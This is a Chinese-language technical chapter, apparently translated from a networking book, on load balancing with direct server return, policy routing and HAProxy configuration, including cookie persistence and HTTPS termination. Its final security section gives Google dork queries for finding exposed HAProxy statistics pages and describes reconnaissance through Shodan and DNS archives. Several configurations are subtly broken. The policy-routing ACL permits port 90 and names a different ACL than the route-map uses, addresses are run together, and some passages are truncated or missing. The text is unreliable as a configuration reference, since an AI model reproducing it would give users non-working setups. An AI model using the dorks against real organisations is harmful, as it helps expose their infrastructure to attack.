  • 这种机制需要在默认网关上进行一些设置,因为在进入时,它必须将所有客户端流量定向到负载均衡器上的 VIP,但它还必须接受来自具有相同地址但不同 MAC 地址的多个目标服务器的回复。这个必须有一个 ARP 条目,对于每个目标服务器,都有相同的 IP 地址。在许多架构中,这是通过多个静态 ARP 条目来完成的。例如,在 Cisco 路由器上,我们会这样做:

arp 192.168.124.21 000c.2933.2d05 arpa
arp 192.168.124.22 000c.29ca.fbea arpa

请注意,在这个例子中,192.168.124.2122是被负载均衡的目标主机。此外,MAC 地址具有 OUI,表明它们都是 VMware 虚拟主机,在大多数数据中心都是典型的。

为什么要经历所有这些麻烦和不寻常的网络配置?

  • DSR 配置的优势在于大大减少了通过负载均衡器的流量。例如,在 Web 应用程序中,通常会看到返回流量超过传入流量的 10 倍以上。这意味着对于这种流量模型,DSR 实现将看到负载均衡器将看到的流量的 90%或更少。

  • 不需要“后端”子网;负载均衡器和目标服务器都在同一个子网中 - 实际上,这是一个要求。这也有一些缺点,正如我们已经讨论过的那样。我们将在DSR 的特定服务器设置部分详细介绍这一点。

然而,也有一些缺点:

  • 集群中的相对负载,或者任何一个服务器上的个体负载,最多只能由负载均衡器推断出来。如果一个会话正常结束,负载均衡器将捕捉到足够的“会话结束”握手来判断会话已经结束,但如果一个会话没有正常结束,它完全依赖超时来结束会话。

  • 所有主机必须配置相同的 IP(原始目标),以便返回流量不会来自意外的地址。这通常是通过环回接口完成的,并且通常需要对主机进行一些额外的配置。

  • 上游路由器(或者如果它是子网的网关,则是第 3 层交换机)需要配置为允许目标 IP 地址的所有可能的 MAC 地址。这是一个手动过程,如果可能看到 MAC 地址意外更改,这可能是一个问题。

  • 如果任何需要代理或完全可见会话的功能(如 NAT 实现中)无法工作,负载均衡器只能看到会话的一半。这意味着任何 HTTP 头解析、cookie 操作(例如会话持久性)或 SYN cookie 都无法实现。

此外,因为(就路由器而言)所有目标主机具有不同的 MAC 地址但相同的 IP 地址,而目标主机不能回复任何 ARP 请求(否则,它们将绕过负载均衡器),因此需要在目标主机上进行大量的工作。

DSR 的特定服务器设置

对于 Linux 客户端,必须对“VIP”寻址接口(无论是环回还是逻辑以太网)进行 ARP 抑制。可以使用sudo ip link set <interface name> arp off或(使用较旧的ifconfig语法)sudo ifconfig <interface name> -arp来完成。

您还需要在目标服务器上实现“强主机”和“弱主机”设置。如果服务器接口不是路由器,并且不能发送或接收来自接口的数据包,除非数据包中的源或目的 IP 与接口 IP 匹配,则将其配置为“强主机”。如果接口已配置为“弱主机”,则不适用此限制-它可以代表其他接口接收或发送数据包。

Linux 和 BSD Unix 默认在所有接口上启用了weak hostsysctl net.ip.ip.check_interface = 0)。Windows 2003 及更早版本也启用了这个功能。但是,Windows Server 2008 及更高版本为所有接口采用了strong host模型。要更改新版本 Windows 中的 DSR,执行以下代码:

netsh interface ipv4 set interface "Local Area Connection" weakhostreceive=enabled
netsh interface ipv4 set interface "Loopback" weakhostreceive=enabled
netsh interface ipv4 set interface "Loopback" weakhostsend=enabled 

您还需要在目标服务器上禁用任何 IP 校验和 TCP 校验和卸载功能。在 Windows 主机上,这两个设置位于网络适配器/高级设置中。在 Linux 主机上,ethtool命令可以操作这些设置,但这些基于硬件的卸载功能在 Linux 中默认情况下是禁用的,因此通常不需要调整它们。

在描述的各种架构中,我们仍然需要确定如何精确地分配客户端负载到我们的目标服务器组。

负载平衡算法

到目前为止,我们已经涉及了一些负载平衡算法,让我们更详细地探讨一下更常见的方法(请注意,这个列表不是详尽无遗的;这里只提供了最常见的方法):

最少连接,正如你可能期望的那样,是最常分配的算法。我们将在本章后面的配置示例中使用这种方法。

既然我们已经看到了如何平衡工作负载的一些选项,那么我们如何确保那些后端服务器正常工作呢?

服务器和服务健康检查

我们在 DNS 负载平衡部分讨论的问题之一是健康检查。一旦开始负载平衡,通常希望有一种方法来知道哪些服务器(和服务)正在正确运行。检查任何连接的健康的方法包括以下内容:

  1. 定期使用 ICMP 有效地“ping”目标服务器。如果没有 ICMP 回显回复,则认为它们宕机,并且不会接收任何新的客户端。现有客户端将分布在其他服务器上。

  2. 使用 TCP 握手并检查开放端口(例如80/tcp443/tcp用于 Web 服务)。同样,如果握手未完成,则主机被视为宕机。

  3. 在 UDP 中,您通常会发出应用程序请求。例如,如果您正在负载均衡 DNS 服务器,负载均衡器将进行简单的 DNS 查询-如果收到 DNS 响应,则认为服务器正常运行。

  4. 最后,在平衡 Web 应用程序时,您可以进行实际的 Web 请求。通常,您会请求索引页面(或任何已知页面)并查找该页面上的已知文本。如果该文本不出现,则该主机和服务组合被视为宕机。在更复杂的环境中,您检查的测试页面可能会对后端数据库进行已知调用以进行验证。

测试实际应用程序(如前两点所述)当然是验证应用程序是否正常工作的最可靠方法。

我们将在示例配置中展示一些这些健康检查。在我们开始之前,让我们深入了解一下您可能会在典型数据中心中看到负载均衡器的实现方式-无论是在“传统”配置中还是在更现代的实现中。

数据中心负载均衡器设计考虑

负载平衡已经成为较大架构的一部分几十年了,这意味着我们经历了几种常见的设计。

我们经常看到的“传统”设计是一个单一对(或集群)物理负载均衡器,为数据中心中的所有负载平衡工作负载提供服务。通常,相同的负载均衡器集群用于内部和外部工作负载,但有时,您会看到一个内部负载均衡器对内部网络进行服务,另一个对只服务 DMZ 工作负载(即对外部客户端)的负载均衡器对外部工作负载进行服务。

这种模型在我们拥有物理服务器且负载均衡器是昂贵的硬件的时代是一个很好的方法。

然而,在虚拟化环境中,工作负载 VM 绑定到物理负载均衡器,这使得网络配置复杂化,限制了灾难恢复选项,并且通常导致流量在(物理)负载均衡器和虚拟环境之间进行多次“循环”:

图 10.5 - 传统负载均衡架构

图 10.5 - 传统负载均衡架构

随着虚拟化的出现,一切都发生了变化。现在使用物理负载均衡器几乎没有意义 - 最好是为每个工作负载使用专用的小型虚拟机,如下所示:

图 10.6 - 现代负载均衡架构

图 10.6 - 现代负载均衡架构

这种方法有几个优点:

  • 成本是一个优势,因为这些小型虚拟负载均衡器如果获得许可要便宜得多,或者如果使用诸如 HAProxy(或任何其他免费/开源解决方案)的解决方案则是免费的。这可能是影响最小的优势,但毫不奇怪通常是改变意见的因素。

  • 配置要简单得多,更容易维护,因为每个负载均衡器只服务一个工作负载。如果进行了更改并且可能需要后续调试,从较小的配置中“挑出”某些东西要简单得多。

  • 在发生故障或更可能的是配置错误时,散射区影响范围要小得多。如果将每个负载均衡器绑定到单个工作负载,任何错误或故障更可能只影响该工作负载。

  • 此外,从运营的角度来看,使用编排平台或 API 来扩展工作负载要简单得多(根据需求增加或删除后端服务器到集群)。这种方法使得构建这些 playbook 要简单得多 - 主要是因为配置更简单,在 playbook 出错时影响范围更小。

  • 开发人员更快的部署。由于您保持了这种简单的配置,在开发环境中,您可以在开发或修改应用程序时向开发人员提供这种配置。这意味着应用程序是针对负载均衡器编写的。此外,大部分测试是在开发周期内完成的,而不是在开发结束时在单个更改窗口中进行配置和测试。即使负载均衡器是有许可的产品,大多数供应商也为这种情况提供了免费(低带宽)许可的产品。

  • 向开发人员或部署提供安全配置的模板要简单得多。

  • 在开发或 DevOps 周期中进行安全测试包括负载均衡器,而不仅仅是应用程序和托管服务器。

  • 培训和测试要简单得多。由于负载均衡产品是免费的,设置培训或测试环境是快速简单的。

  • 工作负载优化是一个重要的优势,因为在虚拟化环境中,通常可以将一组服务器“绑定”在一起。例如,在 VMware vSphere 环境中,这被称为vApp。这个结构允许您将所有 vApp 成员一起保持在一起,例如,如果您将它们 vMotion 到另一个 hypervisor 服务器。您可能需要进行这样的操作进行维护,或者这可能会自动发生,使用动态资源调度DRS),它可以在多个服务器之间平衡 CPU 或内存负载。或者,迁移可能是灾难恢复工作流的一部分,您可以将 vApp 迁移到另一个数据中心,使用 vMotion 或者简单地激活一组 VM 的副本。

  • 云部署更适合这种分布式模型。在较大的云服务提供商中,这一点被推到了极致,负载平衡只是一个您订阅的服务,而不是一个离散的实例或虚拟机。其中包括 AWS 弹性负载均衡服务、Azure 负载均衡器和 Google 的云负载均衡服务。

负载平衡带来了一些管理挑战,其中大部分源于一个问题 - 如果所有目标主机都有负载平衡器的默认网关,我们如何监视和管理这些主机?

数据中心网络和管理考虑

如果使用 NAT 方法对工作负载进行负载平衡,路由就成了一个问题。潜在应用程序客户端的路由必须指向负载平衡器。如果这些目标是基于互联网的,这将使管理单个服务器成为一个问题 - 您不希望服务器管理流量被负载平衡。您也不希望不必要的流量(例如备份或大容量文件复制)通过负载平衡器路由 - 您希望它路由应用程序流量,而不是所有流量!

这通常通过添加静态路由和可能的管理 VLAN 来处理。

现在是一个好时机提出,管理 VLAN 应该从一开始就存在 - 我对管理 VLAN 的“赢得一点”的短语是“您的会计组(或接待员或制造组)需要访问您的 SAN 或超级管理员登录吗?”如果您可以得到一个答案,让您朝着保护内部攻击的敏感接口的方向,那么管理 VLAN 就很容易实现。

无论如何,在这种模型中,默认网关仍然指向负载平衡器(为了服务互联网客户端),但是特定路由被添加到服务器以指向内部或服务资源。在大多数情况下,这些资源的列表仍然很小,因此即使内部客户端计划使用相同的负载平衡应用程序,这仍然可以工作:

图 10.7 - 路由非应用流量(高级)

图 10.7 - 路由非应用流量(高级)

如果出于某种原因这种模型无法工作,那么您可能需要考虑添加基于策略的路由PBR)。

在这种情况下,例如,您的服务器正在负载平衡 HTTP 和 HTTPS - 分别是80/tcp443/tcp。您的策略可能如下所示:

  • 将所有流量80/tcp443/tcp路由到负载平衡器(换句话说,从应用程序的回复流量)。

  • 将所有其他流量通过子网路由器路由。

这个策略路由可以放在服务器子网的路由器上,如下所示:

图 10.8 - 路由非应用流量 - 在上游路由器上的策略路由

图 10.8 - 路由非应用流量 - 在上游路由器上的策略路由

在上图中,服务器都有基于路由器接口的默认网关(在本例中为10.10.10.1):

! this ACL matches reply traffic from the host to the client stations
ip access-list ACL-LB-PATH
   permit tcp any eq 443 any
   permit tcp any eq 90 any
! regular default gateway, does not use the load balancer, set a default gateway for that
ip route 0.0.0.0 0.0.0.0 10.10.x.1
! this sets the policy for the load balanced reply traffic
route-map RM-LB-PATH permit 10
   match ip address ACL-LB-BYPASS
   set next-hop 10.10.10.5
! this applies the policy to the L3 interface.
! note that we have a "is that thing even up" check before we forward the traffic
int vlan x
ip policy route-map RM-LB-PATH
 set ip next-hop verify-availability 10.10.10.5 1 track 1
 set ip next-hop 10.10.10.5
! track 1 is defined here
track 1 rtr 1 reachability
rtr 1
type echo protocol ipIcmpEcho 10.10.10.5
rtr schedule 1 life forever start-time now

这样做的好处是简单,但是这个子网默认网关设备必须有足够的性能来满足所有回复流量的需求,而不会影响其其他工作负载的性能。幸运的是,许多现代的 10G 交换机确实有这样的性能。然而,这也有一个缺点,即您的回复流量现在离开了超级管理员,到达了默认网关路由器,然后很可能再次进入虚拟基础设施以到达负载平衡器。在某些环境中,这在性能上仍然可以工作,但如果不行,考虑将策略路由移动到服务器本身。

要在 Linux 主机上实现相同的策略路由,按照以下步骤进行:

  1. 首先,将路由添加到表 5
ip route add table 5 0.0.0.0/0 via 10.10.10.5
  1. 定义与负载平衡器匹配的流量(源10.10.10.0/24,源端口443):
iptables -t mangle -A PREROUTING -i eth0 -p tcp -m tcp --sport 443 -s 10.10.10.0/24 -j MARK --set-mark 2
iptables -t mangle -A PREROUTING -i eth0 -p tcp -m tcp --sport 80 -s 10.10.10.0/24 -j MARK --set-mark 2
  1. 添加查找,如下所示:
ip rule add fwmark 2 lookup 5

这种方法比大多数人想要的更复杂,CPU 开销也更大。另外,对于“网络路由问题”,支持人员更有可能在未来的故障排除中首先查看路由器和交换机,而不是主机配置。出于这些原因,我们经常看到将策略路由放在路由器或三层交换机上被实施。

使用管理接口更加优雅地解决了这个问题。另外,如果管理接口在组织中尚未广泛使用,这种方法可以很好地将其引入环境中。在这种方法中,我们保持目标主机配置为默认网关指向负载均衡器。然后,我们为每个主机添加一个管理 VLAN 接口,可能直接在该 VLAN 中提供一些管理服务。此外,根据需要,我们仍然可以添加到诸如 SNMP 服务器、日志服务器或其他内部或互联网目的地的特定路由:

图 10.9 – 添加管理 VLAN

图 10.9 – 添加管理 VLAN

不用说,这是常见的实施方式。这不仅是最简单的方法,而且还为架构添加了一个非常需要的管理 VLAN。

在大部分理论已经涵盖的情况下,让我们开始构建几种不同的负载均衡场景。

构建 HAProxy NAT/代理负载均衡器

首先,我们可能不想使用我们的示例主机,因此我们必须添加一个新的网络适配器来演示 NAT/代理(L4/L7)负载均衡器。

如果您的示例主机是虚拟机,构建一个新的应该很快。或者更好的是,克隆您现有的虚拟机并使用它。或者,您可以下载一个haproxy –v

或者,如果您选择不使用我们的示例配置进行“构建”,您仍然可以“跟随”。虽然为负载均衡器构建管道可能需要一些工作,但实际配置非常简单,我们的目标是介绍您到该配置。您完全可以在不构建支持虚拟或物理基础设施的情况下实现这一目标。

如果您正在新的 Linux 主机上安装此软件,请确保您有两个网络适配器(一个面向客户端,一个面向服务器)。与往常一样,我们将从安装目标应用程序开始:

$ sudo apt-get install haproxy

<如果您正在使用基于 OVA 的安装,请从这里开始:>

您可以通过使用haproxy应用程序本身来检查版本号来验证安装是否成功:

$ haproxy –v
HA-Proxy version 2.0.13-2ubuntu0.1 2020/09/08 - https://haproxy.org/

请注意,任何新版本都应该可以正常工作。

安装了软件包后,让我们来看看我们的示例网络构建。

在开始配置之前 – 网卡、寻址和路由

您可以使用任何您选择的 IP 地址,但在我们的示例中,前端为192.168.122.21/24(请注意,这与主机的接口 IP 不同),而负载均衡器的后端地址将为192.168.124.1/24 – 这将是目标主机的默认网关。我们的目标 Web 服务器将为192.168.124.10192.168.124.20

我们的最终构建将如下所示:

图 10.10 – 负载均衡器示例构建

图 10.10 – 负载均衡器示例构建

在我们开始构建负载均衡器之前,现在是调整 Linux 中一些设置的最佳时机(其中一些需要重新加载系统)。

在开始配置之前 – 性能调优

一个基本的“开箱即用”的 Linux 安装必须对各种设置做出一些假设,尽管其中许多会导致性能或安全方面的妥协。对于负载均衡器,有几个 Linux 设置需要解决。幸运的是,HAProxy 安装为我们做了很多这方面的工作(如果我们安装了许可版本)。安装完成后,编辑/etc/sysctl.d/30-hapee-2.2.conf文件,并取消注释以下代码中的行(在我们的情况下,我们正在安装社区版,因此创建此文件并取消注释这些行)。与所有基本系统设置一样,测试这些设置时,逐个或逻辑分组进行更改。此外,正如预期的那样,这可能是一个迭代过程,您可能需要在一个设置和另一个设置之间来回。正如文件注释中所指出的,并非所有这些值在所有情况下甚至在大多数情况下都是推荐的。

这些设置及其描述都可以在www.haproxy.com/documentation/hapee/2-2r1/getting-started/system-tuning/找到。

限制每个套接字的默认接收/发送缓冲区,以限制在大量并发连接时的内存使用。这些值以字节表示,分别代表最小值、默认值和最大值。默认值是4096873804194304

    # net.ipv4.tcp_rmem            = 4096 16060 262144
    # net.ipv4.tcp_wmem            = 4096 16384 262144

允许对传出连接早期重用相同的源端口。如果每秒有几百个连接,这是必需的。默认值如下:

    # net.ipv4.tcp_tw_reuse        = 1

扩展传出 TCP 连接的源端口范围。这限制了早期端口重用,并使用了64000个源端口。默认值为3276861000

    # net.ipv4.ip_local_port_range = 1024 65023

增加 TCP SYN 积压大小。这通常需要支持非常高的连接速率,以及抵抗 SYN 洪水攻击。然而,设置得太高会延迟 SYN cookie 的使用。默认值是1024

    # net.ipv4.tcp_max_syn_backlog = 60000

设置tcp_fin_wait状态的超时时间(以秒为单位)。降低它可以加快释放死连接,尽管它会在 25-30 秒以下引起问题。如果可能的话最好不要更改它。默认值为60

    # net.ipv4.tcp_fin_timeout     = 30

限制传出 SYN-ACK 重试次数。这个值是 SYN 洪水的直接放大因子,所以保持它相当低是很重要的。然而,将它设置得太低会阻止丢包网络上的客户端连接。

使用3作为默认值可以得到良好的结果(总共 4 个 SYN-ACK),而在 SYN 洪水攻击下将其降低到1可以节省大量带宽。默认值为5

    # net.ipv4.tcp_synack_retries  = 3

将其设置为1以允许本地进程绑定到系统上不存在的 IP。这通常发生在共享 VRRP 地址的情况下,您希望主备两者都启动,即使 IP 不存在。始终将其保留为1。默认值为0

    # net.ipv4.ip_nonlocal_bind    = 1

以下作为系统所有 SYN 积压的上限。将它至少设置为tcp_max_syn_backlog一样高;否则,客户端可能在高速率或 SYN 攻击下连接时遇到困难。默认值是128

     # net.core.somaxconn           = 60000

再次注意,如果您进行了任何这些更改,您可能会在以后回到这个文件来撤消或调整您的设置。完成所有这些(至少现在是这样),让我们配置我们的负载均衡器,使其与我们的两个目标 Web 服务器配合工作。

负载均衡 TCP 服务 - Web 服务

负载均衡服务的配置非常简单。让我们从在两个 Web 服务器主机之间进行负载均衡开始。

让我们编辑/etc/haproxy/haproxy.cfg文件。我们将创建一个frontend部分,定义面向客户端的服务,以及一个backend部分,定义两个下游 Web 服务器:

frontend http_front
   bind *:80
   stats uri /haproxy?stats
   default_backend http_back
backend  http_back
   balance roundrobin
   server WEBSRV01 192.168.124.20:80 check fall 3 rise 2
   server WEBSRV02 192.168.124.21:80 check fall 3 rise 2

请注意以下内容:

  • 前端部分中有一行default backend,告诉它将哪些服务绑定到该前端。

  • 前端有一个bind语句,允许负载在该接口上的所有 IP 之间平衡。因此,在这种情况下,如果我们只使用一个 VIP 进行负载平衡,我们可以在负载均衡器的物理 IP 上执行此操作。

  • 后端使用roundrobin作为负载平衡算法。这意味着当用户连接时,他们将被引导到 server1,然后是 server2,然后是 server1,依此类推。

  • check参数告诉服务检查目标服务器以确保其正常运行。当负载平衡 TCP 服务时,这要简单得多,因为简单的 TCP“连接”就可以解决问题,至少可以验证主机和服务是否正在运行。

  • fall 3在连续三次失败的检查后将服务标记为离线,而rise 2在两次成功的检查后将其标记为在线。这些 rise/fall 关键字可以在使用任何检查类型时使用。

我们还希望在此文件中有一个全局部分,以便我们可以设置一些服务器参数和默认值:

global
    maxconn 20000
    log /dev/log local0
    user haproxy
    group haproxy
    stats socket /run/haproxy/admin.sock user haproxy group haproxy mode 660 level admin
    nbproc 2
    nbthread 4
    timeout http-request <timeout>
    timeout http-keep-alive <timeout>
    timeout queue <timeout>
    timeout client-fin <timeout>
    timeout server-fin <timeout>
    ssl-default-bind-ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
    ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets

请注意,我们在此部分定义了用户和组。回溯到第三章使用 Linux 和 Linux 工具进行网络诊断,我们提到,如果端口号小于1024,您需要具有 root 权限才能启动侦听端口。对于 HAProxy 来说,这意味着它需要 root 权限来启动服务。全局部分中的用户和组指令允许服务“降级”其权限。这很重要,因为如果服务被攻击,拥有较低权限会给攻击者提供更少的选项,可能增加攻击所需的时间,并希望增加他们被抓获的可能性。

log行非常直接 - 它告诉haproxy将日志发送到哪里。如果您有任何需要解决的负载平衡问题,这是一个很好的起点,接着是目标服务的日志。

stats指令告诉haproxy存储其各种性能统计信息的位置。

nbprocnbpthread指令告诉 HAProxy 服务可用于使用的处理器和线程数量。这些数字应该至少比可用的进程少一个,以便在拒绝服务攻击发生时,整个负载平衡器平台不会瘫痪。

各种超时参数用于防止协议级拒绝服务攻击。在这些情况下,攻击者发送初始请求,但随后从不继续会话 - 他们只是不断发送请求,“耗尽”负载均衡器资源,直到内存完全耗尽。这些超时限制了负载均衡器将保持任何一个会话活动的时间。下表概述了我们在这里讨论的每个保持活动参数的简要描述:

此外,SSL 指令相当容易理解:

  • ssl-default-bind-ciphers列出了在任何 TLS 会话中允许的密码,如果负载均衡器正在终止或启动会话(即,如果您的会话处于代理或第 7 层模式)。

  • ssl-default-bind-options用于设置支持的 TLS 版本的下限。在撰写本文时,所有 SSL 版本以及 TLS 版本 1.0 都不再推荐使用。特别是 SSL 容易受到多种攻击。由于所有现代浏览器都能够协商 TLS 版本 3,大多数环境选择支持 TLS 版本 1.2 或更高版本(如示例中所示)。

现在,从客户端机器,您可以浏览到 HAProxy 主机,您会看到您将连接到其中一个后端。如果您尝试从不同的浏览器再次连接,您应该连接到第二个。

让我们扩展一下,为 HTTPS(在443/tcp上)添加支持。我们将在前端接口上添加一个 IP 并绑定到该 IP。我们将把平衡算法更改为最少连接。最后,我们将更改前端和后端的名称,以包括端口号。这使我们能够为443/tcp添加额外的配置部分。如果我们只监视第 4 层 TCP 会话,这些流量将得到很好的负载平衡;不需要解密:

frontend http_front-80
   bind 192.168.122.21:80
   stats uri /haproxy?stats
   default_backend http_back-80
frontend http_front-443
   bind 192.168.122.21:443
   stats uri /haproxy?stats
   default_backend http_back-443
backend  http_back-80
   balance leastconn
   server WEBSRV01 192.168.124.20:80 check fall 3 rise 2
   server WEBSRV02 192.168.124.21:80 check fall 3 rise 2
backend  http_back-443
   balance leastconn
   server WEBSRV01 192.168.124.20:443 check fall 3 rise 2
   server WEBSRV02 192.168.124.21:443 check fall 3 rise 2

请注意,我们仍然只是检查 TCP 端口是否对“服务器健康”检查打开。这通常被称为第 3 层健康检查。我们将端口80443放入两个部分 - 这些可以合并到前端段的一个部分中,但通常最好将它们分开以便可以分别跟踪它们。这样做的副作用是两个后端部分的计数不会相互影响,但通常这不是一个问题,因为如今整个 HTTP 站点通常只是重定向到 HTTPS 站点。

另一种表达方式是在listen段上,而不是在前端和后端段上。这种方法将前端和后端部分合并到一个段中,并添加一个“健康检查”:

listen webserver 192.168.122.21:80
    mode http
    option httpchk HEAD / HTTP/1.0
    server websrv01 192.168.124.20:443 check fall 3 rise 2
    server websrv02 192.168.124.21:443 check fall 3 rise 2

这个默认的 HTTP 健康检查只是打开默认页面,并通过检查标题中的短语HTTP/1.0来确保有内容返回。如果在返回的页面中没有看到这个短语,就算作是一次失败的检查。您可以通过检查站点上的任何 URI 并查找该页面上的任意文本字符串来扩展此功能。这通常被称为“第 7 层”健康检查,因为它正在检查应用程序。但是请确保您的检查简单 - 如果应用程序即使稍微更改,页面返回的文本可能会发生足够的变化,导致您的健康检查失败,并意外地标记整个集群为离线!

建立持久(粘性)连接

让我们通过使用服务器名称的变体将 cookie 注入到 HTTP 会话中。我们还将对 HTTP 服务进行基本检查,而不仅仅是开放端口。我们将回到我们的“前端/后端”配置文件方法:

backend  http_back-80
   mode http
   balance leastconn
   cookie SERVERUSED insert indirect nocache
   option httpchk HEAD /
   server WEBSRV01 192.168.124.20:80 cookie WS01 check fall 3 rise 2
   server WEBSRV02 192.168.124.21:80 cookie WS02 check fall 3 rise 2

确保您不要使用服务器的 IP 地址或真实名称作为 cookie 值。如果使用真实服务器名称,攻击者可能会通过在 DNS 中查找该服务器名称或在具有历史 DNS 条目数据库的站点(例如dnsdumpster.com)来访问该服务器。服务器名称也可以用来从证书透明日志中获取有关目标的信息(正如我们在[第八章](B16336_08_Final_NM_ePub.xhtml#_idTextAnchor133)中讨论的那样,Linux 上的证书服务)。最后,如果服务器 IP 地址用于 cookie 值,该信息将使攻击者对您的内部网络架构有所了解,如果披露的网络是公共可路由的,可能会成为他们的下一个目标!

实施说明

现在我们已经介绍了基本配置,一个非常常见的步骤是在每台服务器上都有一个“占位符”网站,每个网站都被标识为与服务器匹配。使用“1-2-3”,“a-b-c”或“red-green-blue”都是常见的方法,足以区分每个服务器会话。现在,使用不同的浏览器或不同的工作站,多次浏览共享地址,以确保您被定向到正确的后端服务器,如您的规则集所定义的那样。

当然,这是一个逐步构建配置的好方法,以确保事情正常运行,但它也是一个很好的故障排除机制,可以帮助您决定一些简单的事情,比如“更新后这还有效吗?”或“我知道帮助台票说了什么,但是真的有问题要解决吗?”甚至几个月甚至几年后。像这样的测试页面是一个很好的长期保留的东西,用于未来的测试或故障排除。

HTTPS 前端

过去,服务器架构师乐意设置负载均衡器来卸载 HTTPS 处理,将加密/解密处理从服务器转移到负载均衡器。这样可以节省服务器 CPU,并且将实施和维护证书的责任转移到管理负载均衡器的人。然而,出于几个原因,这些原因现在大多数已经不再有效:

  • 如果服务器和负载均衡器都是虚拟的(在大多数情况下是推荐的),这只是在不同虚拟机之间移动处理 - 没有净增益。

  • 现代处理器在执行加密和解密方面效率更高 - 算法是针对 CPU 性能编写的。事实上,根据算法的不同,加密/解密操作可能是 CPU 的本地操作,这是一个巨大的性能提升。

  • 使用通配符证书可以使整个“证书管理”过程变得更简单。

然而,我们仍然使用负载均衡器进行 HTTPS 前端处理,通常是为了使用 cookie 实现可靠的会话持久性 - 除非你能读取和写入数据流,否则无法在 HTTPS 响应中添加 cookie(或在下一个请求中读取),这意味着在某个时刻它已经被解密。

请记住,根据我们之前的讨论,在这个配置中,每个 TLS 会话将在前端终止,使用有效的证书。由于现在这是一个代理设置(第 7 层负载平衡),后端会话是一个单独的 HTTP 或 HTTPS 会话。在过去,后端通常会是 HTTP(主要是为了节省 CPU 资源),但在现代,这将被视为安全风险,特别是如果你在金融、医疗保健或政府部门(或任何承载敏感信息的部门)。因此,在现代构建中,后端几乎总是会是 HTTPS,通常使用目标 Web 服务器上相同的证书。

再次强调这种设置的缺点是,由于目标 Web 服务器的实际客户端是负载均衡器,X-Forwarded-* HTTPS 头将丢失,并且实际客户端的 IP 地址将不可用于 Web 服务器(或其日志)。

我们如何配置这个设置?首先,我们必须获取站点证书和私钥,无论是“命名证书”还是通配符。现在,将它们合并成一个文件(不是作为pfx文件,而是作为一个链),只需使用cat命令简单地将它们连接在一起:

cat sitename.com.crt sitename.com.key | sudo tee /etc/ssl/sitename.com/sitename.com.pem

请注意,在命令的后半部分我们使用了sudo,以赋予命令对/etc/ssl/sitename.com目录的权限。还要注意tee命令,它会将命令的输出显示在屏幕上,并将输出定向到所需的位置。

现在,我们可以将证书绑定到前端文件段中的地址:

frontend http front-443
    bind 192.168.122.21:443 ssl crt /etc/ssl/sitename.com/sitename.com.pem
    redirect scheme https if !{ ssl_fc }
    mode http
    default_backend back-443
backend back-443
    mode http
    balance leastconn
    option forwardfor
    option httpchk HEAD / HTTP/1.1\r\nHost:localhost
    server web01 192.168.124.20:443 cookie WS01 check fall 3 rise 2
    server web02 192.168.124.21:443 cookie WS02 check fall 3 rise 2
    http-request add-header X-Forwarded-Proto https 

在这个配置中,请注意以下内容:

  • 现在我们可以在后端部分使用 cookie 来实现会话持久性,这通常是这个配置中的主要目标。

  • 我们在前端使用redirect scheme行指示代理在后端使用 SSL/TLS。

  • forwardfor关键字将实际客户端 IP 添加到后端请求的X-Forwarded-For HTTP 头字段中。请注意,需要由 Web 服务器解析这些内容并适当地记录,以便以后使用。

根据应用程序和浏览器的不同,你还可以在X-Client-IP头字段中添加客户端 IP 到后端 HTTP 请求中:

http-request set-header X-Client-IP %[req.hdr_ip(X-Forwarded-For)]

注意

这种方法效果参差不齐。

然而,请注意,无论你在 HTTP 头中添加或更改什么,目标服务器“看到”的实际客户端 IP 地址仍然是负载均衡器的后端地址 - 这些更改或添加的头值只是 HTTPS 请求中的字段。如果你打算使用这些头值进行日志记录、故障排除或监控,就需要 Web 服务器来解析它们并适当地记录。

这涵盖了我们的示例配置 - 我们涵盖了基于 NAT 和基于代理的负载平衡,以及 HTTP 和 HTTPS 流量的会话持久性。在所有理论之后,实际配置负载均衡器很简单 - 工作都在设计和设置支持网络基础设施中。在结束本章之前,让我们简要讨论一下安全性。

关于负载均衡器安全性的最后一点说明

到目前为止,我们已经讨论了攻击者如何能够获得有关内部网络的见解或访问权限,如果他们可以获得服务器名称或 IP 地址。我们讨论了恶意行为者如何使用本地负载均衡器配置中披露的信息来获取这些信息以进行持久设置。攻击者还可以以其他方式获取有关我们的目标服务器(这些服务器位于负载均衡器后面并且应该被隐藏)的信息吗?

证书透明信息是获取当前或旧服务器名称的另一种常用方法,正如我们在第八章中讨论的那样,Linux 上的证书服务。即使旧的服务器名称不再使用,其过去证书的记录是永恒的。

互联网档案馆网站archive.org定期对网站进行“快照”,并允许搜索和查看它们,使人们可以“回到过去”并查看您基础设施的旧版本。如果旧服务器在您的旧 DNS 或 Web 服务器的旧代码中披露,它们很可能可以在此网站上找到。

DNS 存档网站,如dnsdumpster,使用被动方法(如数据包分析)收集 DNS 信息,并通过 Web 或 API 界面呈现。这使攻击者可以找到旧的 IP 地址和旧(或当前)主机名,组织有时可以通过 IP 仍然访问这些服务,即使 DNS 条目被删除。或者,他们可以通过主机名单独访问它们,即使它们在负载均衡器后面。

Google Dorks是获得此类信息的另一种方法 - 这些术语用于在搜索引擎(不仅仅是 Google)中查找特定信息。通常,像inurl:targetdomain.com这样的搜索词将找到目标组织宁愿保持隐藏的主机名。一些特定于haproxy的 Google Dorks 包括以下内容:

intitle:"Statistics Report for HAProxy" + "statistics report for pid" site:www.targetdomain.com 
inurl:haproxy-status site:target.domain.com

请注意,在我们说site:时,您也可以指定inurl:。在这种情况下,您还可以将搜索词缩短为域而不是完整的站点名称。

诸如shodan.io之类的网站还将索引您服务器的历史版本,重点关注服务器 IP 地址,主机名,开放端口以及在这些端口上运行的服务。 Shodan 在识别开放端口上运行的服务方面非常独特。当然,他们在这方面并不百分之百成功(将其视为他人的 NMAP 结果),但是当他们识别服务时,会附上“证据”,因此,如果您使用 Shodan 进行侦察,您可以使用它来验证该确定可能有多准确。Shodan 既有 Web 界面又有全面的 API。通过这项服务,您通常可以按组织或地理区域找到未经适当保护的负载均衡器。

最后对搜索引擎的评论:如果 Google(或任何搜索引擎)可以直接访问您的真实服务器,那么该内容将被索引,使其易于搜索。如果网站可能存在身份验证绕过问题,则“受身份验证保护”的内容也将被索引,并可供使用该引擎的任何人使用。

